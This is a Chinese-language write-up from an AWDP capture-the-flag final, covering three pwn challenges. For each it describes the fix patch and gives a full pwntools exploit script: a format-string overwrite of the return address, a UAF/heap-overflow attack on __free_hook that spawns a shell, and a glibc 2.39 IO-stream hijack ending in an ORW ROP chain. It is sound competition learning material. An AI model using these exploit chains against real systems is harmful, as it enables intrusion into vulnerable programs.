本次决赛AWDP 共 4道 pwn题, 整体除了 PHP看不懂,其他的都能 fix 和 break ,比赛时间还是挺久的,但是做着做着就时间就所剩无几了,最后CHR 也没能break。
awdp 第13名,最终总排名 32 名,无缘一等奖,和前面的队伍就差几分,如果再开个渗透题也就一了。
◆update.sh
#!/bin/sh
mv pwn_fix /home/ctf/pwn
chmod 777 /home/ctf/pwn
◆打包命令
tar zcvf update.tar.gz update.sh pwn_fix
fix 比较简单,非stack 上格式化字符串漏洞。
把call _printf
改从call _puts
既可。
◆漏洞利用并不难,此题我在libc 的替换上话花了太多时间。
◆先来说一下比赛中遇到的一下坑点。
一般做格式化字符串漏洞的题目时,我一般会把给的附件 patch成题目指定的glibc 版本。
附件给的时pwn libc.so.6 libcrypto.so.1.1
glibc 2.31, 我本地没有 ubutnu 20,只能通过替换成 glibcallinone。
◆直接说坑点把,pwn 文件 其实只需要ld.so libc.so.6 libcrypto.so.1.1。
◆至于libdl.so.2 libpthread.so.0
其实是libcrypto.so.1.1
需要的。
◆导致后面就算把libdl.so.2 libpthread.so.0
放到当前目录下也不行。
◆最后patch 好了。
◆后面就是非stack 上格式话字符串漏洞了,修改 main 函数的返回地址 打 ogg 既可以 ( 前期打 poprdi-binsh-system ,只能正确写前 0x10 ,转变写一个 ogg 也就可以了)。
from pwn import *
import sysfrom Crypto.Cipher import AES
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
rl = lambda :io.recvline()
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote('123.57.149.79',37175)
elif args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
return remote(IP,PORT)
else:
return process([binary] + argv, *a, **kw)binary = './pwn'
libelf = ''if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)gdbscript = '''
brva 0x15CB
brva 0x00015FF
#continue
'''.format(**locals())def _pad(bStr:bytes):
blen=len(bStr)
add=16-(blen%16)
buffer=bStr+add*chr(0).encode()
return bufferkey = bytes.fromhex('7BF35CD69C475D5E6F1D7A23187BF934')
def sendpay(pay):
ru('anime: ')
pay = _pad(pay)
aes = AES.new(key,AES.MODE_ECB) # ECB
cr_text = aes.encrypt(pay)
s(cr_text)
ru('your like ')io = start(binary)
ru('name\n')
pay = '/bin/sh;'
s(pay)
ru('/bin/sh;')
elf_base = uu64(r(6)) - 0x11e0lss('elf_base')
#pay = f"%{6+6}$p"
pay = pay.encode()sendpay(pay)
stack = int(ru('!'),16)
lss('stack')count = stack - 284
lss('count')pay = f"%{count & 0xFFFF}c%{6+0xb}$hn"
pay = pay.encode()
sendpay(pay)pay = f"%19c%{6+0x27}$hn"
pay = pay.encode()
sendpay(pay)#09:0048│ 0x7ffe087b05e8 —▸ 0x7d1810232083 (__libc_start_main+243) ◂— mov edi, eax
pay = f"%{6+9}$p"
pay = pay.encode()
sendpay(pay)
libc_base = int(ru('!'),16) - libc.sym['__libc_start_main'] - 243
lss('libc_base')libc.address = libc_base
rdi = next(libc.search(asm('pop rdi;ret')))
binsh = 0x1234
system = libc.sym['system']ogg = 0xe3b01
rop = p64(libc_base + ogg) #+ p64(rdi) + p64(binsh) + p64(system)stack_ret = stack - 232
for i in range(len(rop)):
pay = f"%{(stack_ret + i) & 0xFFFF}c%{6+0xb}$hn\x00"
pay = pay.encode()
sendpay(pay)pd = rop[i]
if(pd==0):
pay = f"%{6+0x27}$hhn\x00"
else:
pay = f"%{pd}c%{6+0x27}$hhn\x00"pay = pay.encode()
sendpay(pay)#gdb.attach(io,gdbscript)
pay = f"A\x00"
pay = pay.encode()
sendpay(pay)itr()
◆一开始没有关注 uaf 这里,导致前几轮没能fix,后面才意识到。
漏洞点再 rm() 函数里。
free 堆块后,并没有清空指向堆块的指针,导致UAF漏洞。
◆没有修复时的汇编
◆修复后的汇编
mov rax, qword ptr [rbp_var_4] ; 取idx
shl eax, 3 ; idx 乘以 8
lea rdx, qword ptr [0xA080] ; 取 heap_list 的地址
add rdx, rax ; 计算索引的地址
push rdx ; 将堆指针 压到stack 上
mov rdi,[rdx] ; 取heap地址
call _free ; free heap ;ret 后 rdi 寄存器是空的
pop rdx ; 取出指向heap的指针
mov [rdx], rdi ; 清空指针的内容
◆保存修改后的
◆打包
◆上传 tar.gz
◆前期堆块分配的风水不是很好,导致后面改完tcachebins 后 ,没有机会继续申请了。只能重新写了一份exp, 又浪费了宝贵时间,导致最后几轮才成功Break。
◆已知UAF漏洞。
◆经过分析还存在 堆溢出漏洞, edit 时 可以重新定义写入大小导致堆溢出漏洞。
◆glibc2.31。
◆add 时 size 的大小再 0x10-0x400,free后不会进入unsortedbin。
◆而且有堆块数量限制,不能通过填满 tcachebins 让堆块进入unsortedbin。
◆利用堆溢出修改 堆块的 size, free 后进入 unsortedbin,从而泄露 libc 地址。
◆后面就控制tcachebins,任意地址申请到__free_hook
既可。
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote('39.106.48.123',30155)
else:
return process([binary] + argv, *a, **kw)binary = './pwn'
libelf = ''if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)gdbscript = '''
#brva 0x1917
#brva 0x17A3
brva 0x0156C
#continue
'''.format(**locals())io = start(binary)
def add(idx=0,l=0,meg='A'):
ru('Please input:')
json = '{' + f'''
"choice":"new",
"index": {idx},
"length": {l},
"message":"{meg}"
''' + '}'
json = json.replace('\n','').replace(' ','')
sl(json)def rm(idx=0,l=0,meg='A'):
ru('Please input:')
json = '{' + f'''
"choice":"rm",
"index": {idx},
"length": {l},
"message":"{meg}"
''' + '}'
json = json.replace('\n','').replace(' ','')
sl(json)def show(idx=0,l=0,meg='A'):
ru('Please input:')
json = '{' + f'''
"choice":"view",
"index": {idx},
"length": {l},
"message":"{meg}"
''' + '}'
json = json.replace('\n','').replace(' ','')
sl(json)def edit(idx=0,l=0,meg='A'):
ru('Please input:')
json = '{' + f'''
"choice":"modify",
"index": {idx},
"length": {l},
"message":"{meg.decode()}"
''' + '}'
json = json.replace('\n','').replace(' ','')
sl(json)add(0,0x78,"I"*0x28)
add(1,0x3f8,"A"*0x28)
add(2,0x78,"I"*0x28)
add(3,0x78,"I"*0x28)edit(0,736+0xa,b'Y'*(736+8)+p16(0x401+0x50*5+0x20*5))
rm(1)
add(4,16,'')
edit(4,1,b"C")
show(4)
ru('message:')
libc_base = uu64(r(6)) - 2018115
lss('libc_base')rm(2)
rm(3)ru('Please input:')
json = b'{"choice":"modify","index":3, "length": 9, "message":"'+p64(libc_base + libc.sym['__free_hook'])[:6]+b'"}'
json = json.replace(b' ',b'')
print(json)
sl(json)add(5,0x78,'/bin/sh;')
ru('Please input:')
json = b'{"choice":"new","index":6, "length": 120, "message":"'+p64(libc_base + libc.sym['system'])[:6]+b'"}'
json = json.replace(b' ',b'')
print(json)
sl(json)#gdb.attach(io,gdbscript)
rm(5)io.interactive()
◆瞎 fix 的, 居然成功了。
限制大小。
◆比赛好几个小时,理论上三题fix和break都可以做出来的,比赛的时候时间还是比较紧的,失误一点都会浪费好多时间,后面就剩两三轮了,也就不想做了。
◆Break 后 也就指定漏洞点了,Fix 肯定也就比较容易了。
◆恰好我本地也是 ubuntu 24 glibc 2.39,我就单纯打个本地吧。
◆转换后会造成堆溢出
◆堆溢出的利用,后面任意地址申请 先去控制_IO_2_1_stdin_
结构体,然后scanf
触发任意地址写到_IO_2_1_stdout_
后面 puts 触发IO 流攻击。
◆后面就是ORW flag 既可。
◆任意写
◆scanf触发
◆劫持IO流
◆puts 触发IO攻击,后面就是 ROP 既可
◆最后exploit
from pwn import *
import sys
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
rl = lambda :io.recvline()
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
elif args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
return remote(IP,PORT)
else:
return process([binary] + argv, *a, **kw)binary = './pwn'
libelf = ''if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)gdbscript = '''
#brva 0x0182F
#brva 0x01C7D
#brva 0x01BC8#continue
'''.format(**locals())io = start(binary)
def add(size,text='A'):
ru('>> ')
sl('1')
ru('size:')
sl(str(size))
ru('content:')
s(text)def rm(idx):
ru('>> ')
sl('2')
ru('idx:\n')
sl(str(idx))def edit(idx,text):
ru('>> ')
sl('3')
ru('idx:')
sl(str(idx))
ru('content:')
s(text)def show(idx):
ru('>> ')
sl('4')
ru('idx:')
sl(str(idx))
ru('content:')def convert(idx):
ru('>> ')
sl('5')
ru('idx:\n')
sl(str(idx))#for i in range(0x10):
for i in range(0x8):
add(0x108)
add(0x108)# 0-15
pay = b'A' * 0x100
pay += '鸡'.encode('utf-8') + p16(0x110 * 5 + 1)
edit(0,pay)convert(0)
rm(1)for i in range(7):
add(0x108*2)
# 16
show(5)
libc_base = uu64(r(6)) - 2112288lss('libc_base')
pay = b'A' * 0x108 + p64(0x111)
edit(0x14,pay) #20rm(2)
pay = b'A' * 0x110
edit(0x14,pay) #20show(0x14)
ru(pay)key = uu64(r(5))
heap_addr = key << 0xCpay = b'A' * 0x108 + p64(0x111)
edit(0x15,pay) #20rm(4)
libc.address = libc_base
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']pay = b'A' * 0x108 + p64(0x111)
pay += p64(key ^ (_IO_2_1_stdin_ - 0x90))
edit(0x15,pay) #20add(0x108)
lss('libc_base')
lss('key')
lss('heap_addr')#gdb.attach(io,gdbscript)
#gdb.attach(io,'b *setcontext+61')
x = _IO_2_1_stdout_
pay = b'\x00' * 0x90 + p64(0xfbad1800) + p64(0) * 6 + p64(x) + p64(x + 0x130)add(0x108,pay)
pause()
fake_IO_addr = _IO_2_1_stdout_
pay = flat({
0x00: 0,
0x18: libc.sym['setcontext'] + 61,
0x20: fake_IO_addr, # 0x20 > 0x18
0x68: 0, # rdi #read fd
0x70: fake_IO_addr, # rsi #read buf
0x88: fake_IO_addr, # rdx #read size
0xa0: fake_IO_addr,
0xa8: libc.sym['read'], # RCE2 ogg
0xd8: libc.sym['_IO_wfile_jumps'] + 0x30 - 0x20,
0xe0: fake_IO_addr,
},filler=b'\x00')sl(pay)
pause()
rop = ROP(libc)rax = rop.find_gadget(['pop rax', 'ret'])[0]
rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
rdx = libc_base + 0x00000000000b502c # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
syscall = libc.sym['read'] + 15pay = p64(rax) + p64(2) + p64(rdi) + p64(fake_IO_addr + 0x110) + p64(rsi) + p64(0) + p64(syscall)
pay += p64(rdx) + p64(0x50) * 5 + p64(rax) + p64(0) + p64(rdi) + p64(3) + p64(rsi) + p64(fake_IO_addr + 0x110) + p64(syscall)
pay += p64(rdx) + p64(0x50) * 5 + p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(fake_IO_addr + 0x110) + p64(syscall)
pay = pay.ljust(0x110,b'\x00')
pay += b'/flag\x00'
sl(pay)itr()
整体下来,题目还是比较简单的。除了那个PHP的我看不懂。
https://pan.baidu.com/s/1Ci6Mt9gr10OIpRVYYqMedw?pwd=imlz
看雪ID:imLZH1
https://bbs.kanxue.com/user-home-987517.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多